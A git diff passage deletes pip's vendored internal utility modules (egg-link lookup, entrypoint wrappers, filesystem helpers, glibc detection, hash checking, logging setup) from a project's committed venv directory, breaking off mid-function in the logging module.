-    if link.is_vcs:
-        vcs_backend = vcs.get_backend_for_scheme(link.scheme)
-        assert vcs_backend
-        url, requested_revision, _ = vcs_backend.get_url_rev_and_auth(
-            link.url_without_fragment
-        )
-        # For VCS links, we need to find out and add commit_id.
-        if link_is_in_wheel_cache:
-            # If the requested VCS link corresponds to a cached
-            # wheel, it means the requested revision was an
-            # immutable commit hash, otherwise it would not have
-            # been cached. In that case we don't have a source_dir
-            # with the VCS checkout.
-            assert requested_revision
-            commit_id = requested_revision
-        else:
-            # If the wheel was not in cache, it means we have
-            # had to checkout from VCS to build and we have a source_dir
-            # which we can inspect to find out the commit id.
-            assert source_dir
-            commit_id = vcs_backend.get_revision(source_dir)
-        return DirectUrl(
-            url=url,
-            vcs_info=VcsInfo(
-                vcs=vcs_backend.name,
-                commit_id=commit_id,
-                requested_revision=requested_revision,
-            ),
-            subdirectory=link.subdirectory_fragment,
-        )
-    elif link.is_existing_dir():
-        return DirectUrl(
-            url=link.url_without_fragment,
-            dir_info=DirInfo(),
-            subdirectory=link.subdirectory_fragment,
-        )
-    else:
-        if link.hash_name:
-            assert link.hash
-            hashes = {link.hash_name: link.hash}
-        else:
-            hashes = None
-        return DirectUrl(
-            url=link.url_without_fragment,
-            archive_info=ArchiveInfo(hashes=hashes),
-            subdirectory=link.subdirectory_fragment,
-        )
diff --git a/venv/Lib/site-packages/pip/_internal/utils/egg_link.py b/venv/Lib/site-packages/pip/_internal/utils/egg_link.py
deleted file mode 100644
index dc85a58b32c5ae30cb432bfa0df58f5f9f5ae22d..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/utils/egg_link.py
+++ /dev/null
@@ -1,81 +0,0 @@
-from __future__ import annotations
-
-import os
-import re
-import sys
-
-from pip._internal.locations import site_packages, user_site
-from pip._internal.utils.virtualenv import (
-    running_under_virtualenv,
-    virtualenv_no_global,
-)
-
-__all__ = [
-    "egg_link_path_from_sys_path",
-    "egg_link_path_from_location",
-]
-
-
-def _egg_link_names(raw_name: str) -> list[str]:
-    """
-    Convert a Name metadata value to a .egg-link name, by applying
-    the same substitution as pkg_resources's safe_name function.
-    Note: we cannot use canonicalize_name because it has a different logic.
-
-    We also look for the raw name (without normalization) as setuptools 69 changed
-    the way it names .egg-link files (https://github.com/pypa/setuptools/issues/4167).
-    """
-    return [
-        re.sub("[^A-Za-z0-9.]+", "-", raw_name) + ".egg-link",
-        f"{raw_name}.egg-link",
-    ]
-
-
-def egg_link_path_from_sys_path(raw_name: str) -> str | None:
-    """
-    Look for a .egg-link file for project name, by walking sys.path.
-    """
-    egg_link_names = _egg_link_names(raw_name)
-    for path_item in sys.path:
-        for egg_link_name in egg_link_names:
-            egg_link = os.path.join(path_item, egg_link_name)
-            if os.path.isfile(egg_link):
-                return egg_link
-    return None
-
-
-def egg_link_path_from_location(raw_name: str) -> str | None:
-    """
-    Return the path for the .egg-link file if it exists, otherwise, None.
-
-    There's 3 scenarios:
-    1) not in a virtualenv
-       try to find in site.USER_SITE, then site_packages
-    2) in a no-global virtualenv
-       try to find in site_packages
-    3) in a yes-global virtualenv
-       try to find in site_packages, then site.USER_SITE
-       (don't look in global location)
-
-    For #1 and #3, there could be odd cases, where there's an egg-link in 2
-    locations.
-
-    This method will just return the first one found.
-    """
-    sites: list[str] = []
-    if running_under_virtualenv():
-        sites.append(site_packages)
-        if not virtualenv_no_global() and user_site:
-            sites.append(user_site)
-    else:
-        if user_site:
-            sites.append(user_site)
-        sites.append(site_packages)
-
-    egg_link_names = _egg_link_names(raw_name)
-    for site in sites:
-        for egg_link_name in egg_link_names:
-            egglink = os.path.join(site, egg_link_name)
-            if os.path.isfile(egglink):
-                return egglink
-    return None
diff --git a/venv/Lib/site-packages/pip/_internal/utils/entrypoints.py b/venv/Lib/site-packages/pip/_internal/utils/entrypoints.py
deleted file mode 100644
index e3a150eeba061f533a3f3f5be792a82ee853f569..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/utils/entrypoints.py
+++ /dev/null
@@ -1,88 +0,0 @@
-from __future__ import annotations
-
-import itertools
-import os
-import shutil
-import sys
-
-from pip._internal.cli.main import main
-from pip._internal.utils.compat import WINDOWS
-
-_EXECUTABLE_NAMES = [
-    "pip",
-    f"pip{sys.version_info.major}",
-    f"pip{sys.version_info.major}.{sys.version_info.minor}",
-]
-if WINDOWS:
-    _allowed_extensions = {"", ".exe"}
-    _EXECUTABLE_NAMES = [
-        "".join(parts)
-        for parts in itertools.product(_EXECUTABLE_NAMES, _allowed_extensions)
-    ]
-
-
-def _wrapper(args: list[str] | None = None) -> int:
-    """Central wrapper for all old entrypoints.
-
-    Historically pip has had several entrypoints defined. Because of issues
-    arising from PATH, sys.path, multiple Pythons, their interactions, and most
-    of them having a pip installed, users suffer every time an entrypoint gets
-    moved.
-
-    To alleviate this pain, and provide a mechanism for warning users and
-    directing them to an appropriate place for help, we now define all of
-    our old entrypoints as wrappers for the current one.
-    """
-    sys.stderr.write(
-        "WARNING: pip is being invoked by an old script wrapper. This will "
-        "fail in a future version of pip.\n"
-        "Please see https://github.com/pypa/pip/issues/5599 for advice on "
-        "fixing the underlying issue.\n"
-        "To avoid this problem you can invoke Python with '-m pip' instead of "
-        "running pip directly.\n"
-    )
-    return main(args)
-
-
-def get_best_invocation_for_this_pip() -> str:
-    """Try to figure out the best way to invoke pip in the current environment."""
-    binary_directory = "Scripts" if WINDOWS else "bin"
-    binary_prefix = os.path.join(sys.prefix, binary_directory)
-
-    # Try to use pip[X[.Y]] names, if those executables for this environment are
-    # the first on PATH with that name.
-    path_parts = os.path.normcase(os.environ.get("PATH", "")).split(os.pathsep)
-    exe_are_in_PATH = os.path.normcase(binary_prefix) in path_parts
-    if exe_are_in_PATH:
-        for exe_name in _EXECUTABLE_NAMES:
-            found_executable = shutil.which(exe_name)
-            binary_executable = os.path.join(binary_prefix, exe_name)
-            if (
-                found_executable
-                and os.path.exists(binary_executable)
-                and os.path.samefile(
-                    found_executable,
-                    binary_executable,
-                )
-            ):
-                return exe_name
-
-    # Use the `-m` invocation, if there's no "nice" invocation.
-    return f"{get_best_invocation_for_this_python()} -m pip"
-
-
-def get_best_invocation_for_this_python() -> str:
-    """Try to figure out the best way to invoke the current Python."""
-    exe = sys.executable
-    exe_name = os.path.basename(exe)
-
-    # Try to use the basename, if it's the first executable.
-    found_executable = shutil.which(exe_name)
-    # Virtual environments often symlink to their parent Python binaries, but we don't
-    # want to treat the Python binaries as equivalent when the environment's Python is
-    # not on PATH (not activated). Thus, we don't follow symlinks.
-    if found_executable and os.path.samestat(os.lstat(found_executable), os.lstat(exe)):
-        return exe_name
-
-    # Use the full executable name, because we couldn't find something simpler.
-    return exe
diff --git a/venv/Lib/site-packages/pip/_internal/utils/filesystem.py b/venv/Lib/site-packages/pip/_internal/utils/filesystem.py
deleted file mode 100644
index 806aae0bb9c3b468a9eab940e15a8f166f8b4a69..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/utils/filesystem.py
+++ /dev/null
@@ -1,201 +0,0 @@
-from __future__ import annotations
-
-import fnmatch
-import os
-import os.path
-import random
-import sys
-from collections.abc import Callable, Generator
-from contextlib import contextmanager
-from pathlib import Path
-from tempfile import NamedTemporaryFile
-from typing import Any, BinaryIO, cast
-
-from pip._internal.utils.compat import get_path_uid
-from pip._internal.utils.misc import format_size
-from pip._internal.utils.retry import retry
-
-
-def check_path_owner(path: str) -> bool:
-    # If we don't have a way to check the effective uid of this process, then
-    # we'll just assume that we own the directory.
-    if sys.platform == "win32" or not hasattr(os, "geteuid"):
-        return True
-
-    assert os.path.isabs(path)
-
-    previous = None
-    while path != previous:
-        if os.path.lexists(path):
-            # Check if path is writable by current user.
-            if os.geteuid() == 0:
-                # Special handling for root user in order to handle properly
-                # cases where users use sudo without -H flag.
-                try:
-                    path_uid = get_path_uid(path)
-                except OSError:
-                    return False
-                return path_uid == 0
-            else:
-                return os.access(path, os.W_OK)
-        else:
-            previous, path = path, os.path.dirname(path)
-    return False  # assume we don't own the path
-
-
-@contextmanager
-def adjacent_tmp_file(path: str, **kwargs: Any) -> Generator[BinaryIO, None, None]:
-    """Return a file-like object pointing to a tmp file next to path.
-
-    The file is created securely and is ensured to be written to disk
-    after the context reaches its end.
-
-    kwargs will be passed to tempfile.NamedTemporaryFile to control
-    the way the temporary file will be opened.
-    """
-    with NamedTemporaryFile(
-        delete=False,
-        dir=os.path.dirname(path),
-        prefix=os.path.basename(path),
-        suffix=".tmp",
-        **kwargs,
-    ) as f:
-        result = cast(BinaryIO, f)
-        try:
-            yield result
-        finally:
-            result.flush()
-            os.fsync(result.fileno())
-
-
-replace = retry(stop_after_delay=1, wait=0.25)(os.replace)
-
-
-# test_writable_dir and _test_writable_dir_win are copied from Flit,
-# with the author's agreement to also place them under pip's license.
-def test_writable_dir(path: str) -> bool:
-    """Check if a directory is writable.
-
-    Uses os.access() on POSIX, tries creating files on Windows.
-    """
-    # If the directory doesn't exist, find the closest parent that does.
-    while not os.path.isdir(path):
-        parent = os.path.dirname(path)
-        if parent == path:
-            break  # Should never get here, but infinite loops are bad
-        path = parent
-
-    if os.name == "posix":
-        return os.access(path, os.W_OK)
-
-    return _test_writable_dir_win(path)
-
-
-def _test_writable_dir_win(path: str) -> bool:
-    # os.access doesn't work on Windows: http://bugs.python.org/issue2528
-    # and we can't use tempfile: http://bugs.python.org/issue22107
-    basename = "accesstest_deleteme_fishfingers_custard_"
-    alphabet = "abcdefghijklmnopqrstuvwxyz0123456789"
-    for _ in range(10):
-        name = basename + "".join(random.choice(alphabet) for _ in range(6))
-        file = os.path.join(path, name)
-        try:
-            fd = os.open(file, os.O_RDWR | os.O_CREAT | os.O_EXCL)
-        except FileExistsError:
-            pass
-        except PermissionError:
-            # This could be because there's a directory with the same name.
-            # But it's highly unlikely there's a directory called that,
-            # so we'll assume it's because the parent dir is not writable.
-            # This could as well be because the parent dir is not readable,
-            # due to non-privileged user access.
-            return False
-        else:
-            os.close(fd)
-            os.unlink(file)
-            return True
-
-    # This should never be reached
-    raise OSError("Unexpected condition testing for writable directory")
-
-
-def find_files(path: str, pattern: str) -> list[str]:
-    """Returns a list of absolute paths of files beneath path, recursively,
-    with filenames which match the UNIX-style shell glob pattern."""
-    result: list[str] = []
-    for root, _, files in os.walk(path):
-        matches = fnmatch.filter(files, pattern)
-        result.extend(os.path.join(root, f) for f in matches)
-    return result
-
-
-def file_size(path: str) -> int | float:
-    # If it's a symlink, return 0.
-    if os.path.islink(path):
-        return 0
-    return os.path.getsize(path)
-
-
-def format_file_size(path: str) -> str:
-    return format_size(file_size(path))
-
-
-def directory_size(path: str) -> int | float:
-    size = 0.0
-    for root, _dirs, files in os.walk(path):
-        for filename in files:
-            file_path = os.path.join(root, filename)
-            size += file_size(file_path)
-    return size
-
-
-def format_directory_size(path: str) -> str:
-    return format_size(directory_size(path))
-
-
-def copy_directory_permissions(directory: str, target_file: BinaryIO) -> None:
-    mode = (
-        os.stat(directory).st_mode & 0o666  # select read/write permissions of directory
-        | 0o600  # set owner read/write permissions
-    )
-    # Change permissions only if there is no risk of following a symlink.
-    if os.chmod in os.supports_fd:
-        os.chmod(target_file.fileno(), mode)
-    elif os.chmod in os.supports_follow_symlinks:
-        os.chmod(target_file.name, mode, follow_symlinks=False)
-
-
-def _subdirs_without_generic(
-    path: str, predicate: Callable[[str, list[str]], bool]
-) -> Generator[Path]:
-    """Yields every subdirectory of +path+ that has no files matching the
-    predicate under it."""
-
-    directories = []
-    excluded: set[Path] = set()
-
-    for root_str, _, filenames in os.walk(Path(path).resolve()):
-        root = Path(root_str)
-        if predicate(root_str, filenames):
-            # This directory should be excluded, so exclude it and all of its
-            # parent directories.
-            # The last item in root.parents is ".", so we ignore it.
-            excluded.update(root.parents[:-1])
-            excluded.add(root)
-        directories.append(root)
-
-    for d in sorted(directories, reverse=True):
-        if d not in excluded:
-            yield d
-
-
-def subdirs_without_files(path: str) -> Generator[Path]:
-    """Yields every subdirectory of +path+ that has no files under it."""
-    return _subdirs_without_generic(path, lambda root, filenames: len(filenames) > 0)
-
-
-def subdirs_without_wheels(path: str) -> Generator[Path]:
-    """Yields every subdirectory of +path+ that has no .whl files under it."""
-    return _subdirs_without_generic(
-        path, lambda root, filenames: any(x.endswith(".whl") for x in filenames)
-    )
diff --git a/venv/Lib/site-packages/pip/_internal/utils/filetypes.py b/venv/Lib/site-packages/pip/_internal/utils/filetypes.py
deleted file mode 100644
index 2b8baad7cd61cb508087ef4e16202ea54dad1601..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/utils/filetypes.py
+++ /dev/null
@@ -1,24 +0,0 @@
-"""Filetype information."""
-
-from pip._internal.utils.misc import splitext
-
-WHEEL_EXTENSION = ".whl"
-BZ2_EXTENSIONS: tuple[str, ...] = (".tar.bz2", ".tbz")
-XZ_EXTENSIONS: tuple[str, ...] = (
-    ".tar.xz",
-    ".txz",
-    ".tlz",
-    ".tar.lz",
-    ".tar.lzma",
-)
-ZIP_EXTENSIONS: tuple[str, ...] = (".zip", WHEEL_EXTENSION)
-TAR_EXTENSIONS: tuple[str, ...] = (".tar.gz", ".tgz", ".tar")
-ARCHIVE_EXTENSIONS = ZIP_EXTENSIONS + BZ2_EXTENSIONS + TAR_EXTENSIONS + XZ_EXTENSIONS
-
-
-def is_archive_file(name: str) -> bool:
-    """Return True if `name` is a considered as an archive file."""
-    ext = splitext(name)[1].lower()
-    if ext in ARCHIVE_EXTENSIONS:
-        return True
-    return False
diff --git a/venv/Lib/site-packages/pip/_internal/utils/glibc.py b/venv/Lib/site-packages/pip/_internal/utils/glibc.py
deleted file mode 100644
index 2cb3013c7d9e364beb99fb2c9b461e697dbf20f3..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/utils/glibc.py
+++ /dev/null
@@ -1,102 +0,0 @@
-from __future__ import annotations
-
-import os
-import sys
-
-
-def glibc_version_string() -> str | None:
-    "Returns glibc version string, or None if not using glibc."
-    return glibc_version_string_confstr() or glibc_version_string_ctypes()
-
-
-def glibc_version_string_confstr() -> str | None:
-    "Primary implementation of glibc_version_string using os.confstr."
-    # os.confstr is quite a bit faster than ctypes.DLL. It's also less likely
-    # to be broken or missing. This strategy is used in the standard library
-    # platform module:
-    # https://github.com/python/cpython/blob/fcf1d003bf4f0100c9d0921ff3d70e1127ca1b71/Lib/platform.py#L175-L183
-    if sys.platform == "win32":
-        return None
-    try:
-        gnu_libc_version = os.confstr("CS_GNU_LIBC_VERSION")
-        if gnu_libc_version is None:
-            return None
-        # os.confstr("CS_GNU_LIBC_VERSION") returns a string like "glibc 2.17":
-        _, version = gnu_libc_version.split()
-    except (AttributeError, OSError, ValueError):
-        # os.confstr() or CS_GNU_LIBC_VERSION not available (or a bad value)...
-        return None
-    return version
-
-
-def glibc_version_string_ctypes() -> str | None:
-    "Fallback implementation of glibc_version_string using ctypes."
-
-    try:
-        import ctypes
-    except ImportError:
-        return None
-
-    # ctypes.CDLL(None) internally calls dlopen(NULL), and as the dlopen
-    # manpage says, "If filename is NULL, then the returned handle is for the
-    # main program". This way we can let the linker do the work to figure out
-    # which libc our process is actually using.
-    #
-    # We must also handle the special case where the executable is not a
-    # dynamically linked executable. This can occur when using musl libc,
-    # for example. In this situation, dlopen() will error, leading to an
-    # OSError. Interestingly, at least in the case of musl, there is no
-    # errno set on the OSError. The single string argument used to construct
-    # OSError comes from libc itself and is therefore not portable to
-    # hard code here. In any case, failure to call dlopen() means we
-    # can't proceed, so we bail on our attempt.
-    try:
-        process_namespace = ctypes.CDLL(None)
-    except OSError:
-        return None
-
-    try:
-        gnu_get_libc_version = process_namespace.gnu_get_libc_version
-    except AttributeError:
-        # Symbol doesn't exist -> therefore, we are not linked to
-        # glibc.
-        return None
-
-    # Call gnu_get_libc_version, which returns a string like "2.5"
-    gnu_get_libc_version.restype = ctypes.c_char_p
-    version_str: str = gnu_get_libc_version()
-    # py2 / py3 compatibility:
-    if not isinstance(version_str, str):
-        version_str = version_str.decode("ascii")
-
-    return version_str
-
-
-# platform.libc_ver regularly returns completely nonsensical glibc
-# versions. E.g. on my computer, platform says:
-#
-#   ~$ python2.7 -c 'import platform; print(platform.libc_ver())'
-#   ('glibc', '2.7')
-#   ~$ python3.5 -c 'import platform; print(platform.libc_ver())'
-#   ('glibc', '2.9')
-#
-# But the truth is:
-#
-#   ~$ ldd --version
-#   ldd (Debian GLIBC 2.22-11) 2.22
-#
-# This is unfortunate, because it means that the linehaul data on libc
-# versions that was generated by pip 8.1.2 and earlier is useless and
-# misleading. Solution: instead of using platform, use our code that actually
-# works.
-def libc_ver() -> tuple[str, str]:
-    """Try to determine the glibc version
-
-    Returns a tuple of strings (lib, version) which default to empty strings
-    in case the lookup fails.
-    """
-    glibc_version = glibc_version_string()
-    if glibc_version is None:
-        return ("", "")
-    else:
-        return ("glibc", glibc_version)
diff --git a/venv/Lib/site-packages/pip/_internal/utils/hashes.py b/venv/Lib/site-packages/pip/_internal/utils/hashes.py
deleted file mode 100644
index 43f14cf2a3be082846e02186a851580f6b0c6d21..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/utils/hashes.py
+++ /dev/null
@@ -1,150 +0,0 @@
-from __future__ import annotations
-
-import hashlib
-from collections.abc import Iterable
-from typing import TYPE_CHECKING, BinaryIO, NoReturn
-
-from pip._internal.exceptions import HashMismatch, HashMissing, InstallationError
-from pip._internal.utils.misc import read_chunks
-
-if TYPE_CHECKING:
-    from collections.abc import Mapping
-    from hashlib import _Hash
-
-# The recommended hash algo of the moment. Change this whenever the state of
-# the art changes; it won't hurt backward compatibility.
-FAVORITE_HASH = "sha256"
-
-
-# Names of hashlib algorithms allowed by the --hash option and ``pip hash``
-# Currently, those are the ones at least as collision-resistant as sha256.
-STRONG_HASHES = ["sha256", "sha384", "sha512"]
-
-
-class Hashes:
-    """A wrapper that builds multiple hashes at once and checks them against
-    known-good values
-
-    """
-
-    def __init__(self, hashes: dict[str, list[str]] | None = None) -> None:
-        """
-        :param hashes: A dict of algorithm names pointing to lists of allowed
-            hex digests
-        """
-        allowed = {}
-        if hashes is not None:
-            for alg, keys in hashes.items():
-                # Make sure values are always sorted (to ease equality checks)
-                allowed[alg] = [k.lower() for k in sorted(keys)]
-        self._allowed = allowed
-
-    def __and__(self, other: Hashes) -> Hashes:
-        if not isinstance(other, Hashes):
-            return NotImplemented
-
-        # If either of the Hashes object is entirely empty (i.e. no hash
-        # specified at all), all hashes from the other object are allowed.
-        if not other:
-            return self
-        if not self:
-            return other
-
-        # Otherwise only hashes that present in both objects are allowed.
-        new = {}
-        for alg, values in other._allowed.items():
-            if alg not in self._allowed:
-                continue
-            new[alg] = [v for v in values if v in self._allowed[alg]]
-        return Hashes(new)
-
-    @property
-    def digest_count(self) -> int:
-        return sum(len(digests) for digests in self._allowed.values())
-
-    def is_hash_allowed(self, hash_name: str, hex_digest: str) -> bool:
-        """Return whether the given hex digest is allowed."""
-        return hex_digest in self._allowed.get(hash_name, [])
-
-    def check_against_chunks(self, chunks: Iterable[bytes]) -> None:
-        """Check good hashes against ones built from iterable of chunks of
-        data.
-
-        Raise HashMismatch if none match.
-
-        """
-        gots = {}
-        for hash_name in self._allowed.keys():
-            try:
-                gots[hash_name] = hashlib.new(hash_name)
-            except (ValueError, TypeError):
-                raise InstallationError(f"Unknown hash name: {hash_name}")
-
-        for chunk in chunks:
-            for hash in gots.values():
-                hash.update(chunk)
-
-        for hash_name, got in gots.items():
-            if got.hexdigest() in self._allowed[hash_name]:
-                return
-        self._raise(gots)
-
-    def _raise(self, gots: dict[str, _Hash]) -> NoReturn:
-        raise HashMismatch(self._allowed, gots)
-
-    def check_against_file(self, file: BinaryIO) -> None:
-        """Check good hashes against a file-like object
-
-        Raise HashMismatch if none match.
-
-        """
-        return self.check_against_chunks(read_chunks(file))
-
-    def check_against_path(self, path: str) -> None:
-        with open(path, "rb") as file:
-            return self.check_against_file(file)
-
-    def has_one_of(self, hashes: Mapping[str, str]) -> bool:
-        """Return whether any of the given hashes are allowed."""
-        for hash_name, hex_digest in hashes.items():
-            if self.is_hash_allowed(hash_name, hex_digest):
-                return True
-        return False
-
-    def __bool__(self) -> bool:
-        """Return whether I know any known-good hashes."""
-        return bool(self._allowed)
-
-    def __eq__(self, other: object) -> bool:
-        if not isinstance(other, Hashes):
-            return NotImplemented
-        return self._allowed == other._allowed
-
-    def __hash__(self) -> int:
-        return hash(
-            ",".join(
-                sorted(
-                    ":".join((alg, digest))
-                    for alg, digest_list in self._allowed.items()
-                    for digest in digest_list
-                )
-            )
-        )
-
-
-class MissingHashes(Hashes):
-    """A workalike for Hashes used when we're missing a hash for a requirement
-
-    It computes the actual hash of the requirement and raises a HashMissing
-    exception showing it to the user.
-
-    """
-
-    def __init__(self) -> None:
-        """Don't offer the ``hashes`` kwarg."""
-        # Pass our favorite hash in to generate a "gotten hash". With the
-        # empty list, it will never match, so an error will always raise.
-        super().__init__(hashes={FAVORITE_HASH: []})
-
-    def _raise(self, gots: dict[str, _Hash]) -> NoReturn:
-        raise HashMissing(gots[FAVORITE_HASH].hexdigest())
diff --git a/venv/Lib/site-packages/pip/_internal/utils/logging.py b/venv/Lib/site-packages/pip/_internal/utils/logging.py
deleted file mode 100644
index 233ce4e0af8fbd773bf5bc255da3a3eea89f84ee..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/utils/logging.py
+++ /dev/null
@@ -1,404 +0,0 @@
-from __future__ import annotations
-
-import contextlib
-import errno
-import logging
-import logging.handlers
-import os
-import sys
-import threading
-from collections.abc import Generator
-from dataclasses import dataclass
-from io import StringIO, TextIOWrapper
-from logging import Filter
-from typing import Any, ClassVar
-
-from pip._vendor.rich.console import (
-    Console,
-    ConsoleOptions,
-    ConsoleRenderable,
-    RenderableType,
-    RenderResult,
-    RichCast,
-)
-from pip._vendor.rich.highlighter import NullHighlighter
-from pip._vendor.rich.logging import RichHandler
-from pip._vendor.rich.segment import Segment
-from pip._vendor.rich.style import Style
-
-from pip._internal.utils._log import VERBOSE, getLogger
-from pip._internal.utils.compat import WINDOWS
-from pip._internal.utils.deprecation import DEPRECATION_MSG_PREFIX
-from pip._internal.utils.misc import StreamWrapper, ensure_dir, looks_like_ci
-
-_log_state = threading.local()
-_stdout_console = None
-_stderr_console = None
-subprocess_logger = getLogger("pip.subprocessor")
-
-
-class BrokenStdoutLoggingError(Exception):
-    """
-    Raised if BrokenPipeError occurs for the stdout stream while logging.
-    """
-
-
-def _is_broken_pipe_error(exc_class: type[BaseException], exc: BaseException) -> bool:
-    if exc_class is BrokenPipeError:
-        return True
-
-    # On Windows, a broken pipe can show up as EINVAL rather than EPIPE:
-    # https://bugs.python.org/issue19612
-    # https://bugs.python.org/issue30418
-    if not WINDOWS:
-        return False
-
-    return isinstance(exc, OSError) and exc.errno in (errno.EINVAL, errno.EPIPE)
-
-
-@contextlib.contextmanager
-def capture_logging() -> Generator[StringIO, None, None]:
-    """Capture all pip logs in a buffer temporarily."""
-    # Patching sys.std(out|err) directly is not viable as the caller
-    # may want to emit non-logging output (e.g. a rich spinner). To
-    # avoid capturing that, temporarily patch the root logging handlers
-    # to use new rich consoles that write to a StringIO.
-    handlers = {}
-    for handler in logging.getLogger().handlers:
-        if isinstance(handler, RichPipStreamHandler):
-            # Also store the handler's original console so it can be
-            # restored on context exit.
-            handlers[handler] = handler.console
-
-    fake_stream = StreamWrapper.from_stream(sys.stdout)
-    if not handlers:
-        yield fake_stream
-        return
-
-    # HACK: grab no_color attribute from a random handler console since
-    # it's a global option anyway.
-    no_color = next(iter(handlers.values())).no_color
-    fake_console = PipConsole(file=fake_stream, no_color=no_color, soft_wrap=True)
-    try:
-        for handler in handlers:
-            handler.console = fake_console
-        yield fake_stream
-    finally:
-        for handler, original_console in handlers.items():
-            handler.console = original_console
-
-
-@contextlib.contextmanager
-def indent_log(num: int = 2) -> Generator[None, None, None]:
-    """
-    A context manager which will cause the log output to be indented for any
-    log messages emitted inside it.
-    """
-    # For thread-safety
-    _log_state.indentation = get_indentation()
-    _log_state.indentation += num
-    try:
-        yield
-    finally:
-        _log_state.indentation -= num
-
-
-def get_indentation() -> int:
-    return getattr(_log_state, "indentation", 0)
-
-
-class IndentingFormatter(logging.Formatter):
-    default_time_format = "%Y-%m-%dT%H:%M:%S"
-
-    def __init__(
-        self,
-        *args: Any,
-        add_timestamp: bool = False,
-        **kwargs: Any,
-    ) -> None:
-        """
-        A logging.Formatter that obeys the indent_log() context manager.
-
-        :param add_timestamp: A bool indicating output lines should be prefixed
-            with their record's timestamp.
-        """
-        self.add_timestamp = add_timestamp
-        super().__init__(*args, **kwargs)
-
-    def get_message_start(self, formatted: str, levelno: int) -> str:
-        """
-        Return the start of the formatted log message (not counting the
-        prefix to add to each line).
-        """
-        if levelno < logging.WARNING:
-            return ""
-        if formatted.startswith(DEPRECATION_MSG_PREFIX):
-            # Then the message already has a prefix.  We don't want it to
-            # look like "WARNING: DEPRECATION: ...."
-            return ""
-        if levelno < logging.ERROR:
-            return "WARNING: "
-
-        return "ERROR: "
-
-    def format(self, record: logging.LogRecord) -> str:
-        """
-        Calls the standard formatter, but will indent all of the log message
-        lines by our current indentation level.
-        """
-        formatted = super().format(record)
-        message_start = self.get_message_start(formatted, record.levelno)
-        formatted = message_start + formatted
-
-        prefix = ""
-        if self.add_timestamp:
-            prefix = f"{self.formatTime(record)} "
-        prefix += " " * get_indentation()
-        formatted = "".join([prefix + line for line in formatted.splitlines(True)])
-        return formatted
-
-
-@dataclass
-class IndentedRenderable:
-    renderable: RenderableType
-    indent: int
-
-    def __rich_console__(
-        self, console: Console, options: ConsoleOptions
-    ) -> RenderResult:
-        segments = console.render(self.renderable, options)
-        lines = Segment.split_lines(segments)
-        for line in lines:
-            yield Segment(" " * self.indent)
-            yield from line
-            yield Segment("\n")
-
-
-class PipConsole(Console):
-    def on_broken_pipe(self) -> None:
-        # Reraise the original exception, rich 13.8.0+ exits by default
-        # instead, preventing our handler from firing.
-        raise BrokenPipeError() from None
-
-
-def get_console(*, stderr: bool = False) -> Console:
-    if stderr:
-        assert _stderr_console is not None, "stderr rich console is missing!"
-        return _stderr_console
-    else:
-        assert _stdout_console is not None, "stdout rich console is missing!"
-        return _stdout_console
-
-
-class RichPipStreamHandler(RichHandler):
-    KEYWORDS: ClassVar[list[str] | None] = []
-
-    def __init__(self, console: Console) -> None:
-        super().__init__(
-            console=console,
-            show_time=False,
-            show_level=False,
-            show_path=False,
-            highlighter=NullHighlighter(),
-        )
-
-    # Our custom override on Rich's logger, to make things work as we need them to.
-    def emit(self, record: logging.LogRecord) -> None:
-        style: Style | None = None
-
-        # If we are given a diagnostic error to present, present it with indentation.
-        if getattr(record, "rich", False):
-            assert isinstance(record.args, tuple)
-            (rich_renderable,) = record.args
-            assert isinstance(
-                rich_renderable, (ConsoleRenderable, RichCast, str)
-            ), f"{rich_renderable} is not rich-console-renderable"
-
-            renderable: RenderableType = IndentedRenderable(
-                rich_renderable, indent=get_indentation()
-            )
-        else:
-            message = self.format(record)
-            renderable = self.render_message(record, message)
-            if record.levelno is not None:
-                if record.levelno >= logging.ERROR:
-                    style = Style(color="red")
-                elif record.levelno >= logging.WARNING:
-                    style = Style(color="yellow")
-
-        try:
-            self.console.print(renderable, overflow="ignore", crop=False, style=style)
-        except Exception:
-            self.handleError(record)
-
-    def handleError(self, record: logging.LogRecord) -> None:
-        """Called when logging is unable to log some output."""
-
-        exc_class, exc = sys.exc_info()[:2]
-        # If a broken pipe occurred while calling write() or flush() on the
-        # stdout stream in logging's Handler.emit(), then raise our special
-        # exception so we can handle it in main() instead of logging the
-        # broken pipe error and continuing.
-        if (
-            exc_class
-            and exc
-            and self.console.file is sys.stdout
-            and _is_broken_pipe_error(exc_class, exc)
-        ):
-            raise BrokenStdoutLoggingError()
-
-        return super().handleError(record)
-
-
-class BetterRotatingFileHandler(logging.handlers.RotatingFileHandler):
-    def _open(self) -> TextIOWrapper:
-        ensure_dir(os.path.dirname(self.baseFilename))
-        return super()._open()
-
-
-class MaxLevelFilter(Filter):
-    def __init__(self, level: int) -> None:
-        self.level = level
-
-    def filter(self, record: logging.LogRecord) -> bool:
-        return record.levelno < self.level
-
-
-class ExcludeLoggerFilter(Filter):
-    """
-    A logging Filter that excludes records from a logger (or its children).
-    """
-
-    def filter(self, record: logging.LogRecord) -> bool:
-        # The base Filter class allows only records from a logger (or its
-        # children).
-        return not super().filter(record)
-
-
-def setup_logging(verbosity: int, no_color: bool, user_log_file: str | None) -> int:
-    """Configures and sets up all of the logging
-
-    Returns the requested logging level, as its integer value.
-    """
-
-    # Determine the level to be logging at.
-    if verbosity >= 2:
-        level_number = logging.DEBUG
-    elif verbosity == 1:
-        level_number = VERBOSE
-    elif verbosity == -1:
-        level_number = logging.WARNING
-    elif verbosity == -2:
-        level_number = logging.ERROR
-    elif verbosity <= -3:
-        level_number = logging.CRITICAL
-    else:
-        level_number = logging.INFO
-
-    level = logging.getLevelName(level_number)
-
-    # The "root" logger should match the "console" level *unless* we also need
-    # to log to a user log file.
-    include_user_log = user_log_file is not None
-    if include_user_log:
-        additional_log_file = user_log_file
-        root_level = "DEBUG"
-    else:
-        additional_log_file = "/dev/null"
-        root_level = level
-
-    # Disable any logging besides WARNING unless we have DEBUG level logging
-    # enabled for vendored libraries.
-    vendored_log_level = "WARNING" if level in ["INFO", "ERROR"] else "DEBUG"
-
-    # Shorthands for clarity
-    handler_classes = {
-        "stream": "pip._internal.utils.logging.RichPipStreamHandler",
-        "file": "pip._internal.utils.logging.BetterRotatingFileHandler",
-    }
-    handlers = ["console", "console_errors", "console_subprocess"] + (
